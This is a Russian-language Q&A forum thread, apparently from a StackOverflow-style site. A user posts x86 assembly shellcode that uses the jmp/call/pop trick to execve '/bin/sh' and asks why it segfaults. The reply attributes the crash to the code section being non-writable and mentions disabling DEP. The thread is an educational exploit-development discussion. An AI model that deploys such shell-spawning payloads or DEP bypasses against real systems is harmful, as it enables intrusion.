Ошибка сегментации в программе сборки - PullRequest
1 голос
/ 14 февраля 2012

Я пытаюсь создать оболочку, используя следующий код:

Section .Text
        global _start

_start:
        jmp short TrickCall

_ReturnHere:
        pop             esi
        xor             eax,eax
        mov byte        [esi+7],al
        lea             ebx,[esi]
        mov long        [esi+8],ebx
        mov long        [esi+12],eax
        mov byte        al,0x0b
        mov             ebx,esi
        lea             ecx,[esi+8]
        lea             edx,[esi+12]
        int             0x80

TrickCall:
        call _ReturnHere
        db "/bin/shJAAAANNNN"

Я использую gcc версии 4.4.3 в качестве компилятора. Когда я запускаю его с помощью GDB, он дает следующий вывод:

(gdb) run
Starting program: /root/spawn_shell 

Program received signal SIGSEGV, Segmentation fault.
0x08048059 in _ReturnHere ()

Невозможно получить доступ к адресу памяти _ReturnHere. Есть ли способ обойти это?

1 Ответ

1 голос
/ 14 февраля 2012

Ваша проблема в DEP, когда вы извлекаете адрес возврата из стека и пытаетесь записать в него, он не помечен как доступный для записи , только для чтения и исполнения.Вам нужно либо отключить DEP (плохо, это предназначено для защиты от эксплойтов, которые делают что-то подобное), либо поместить текст сразу после call _ReturnHere в RW (X) память.

...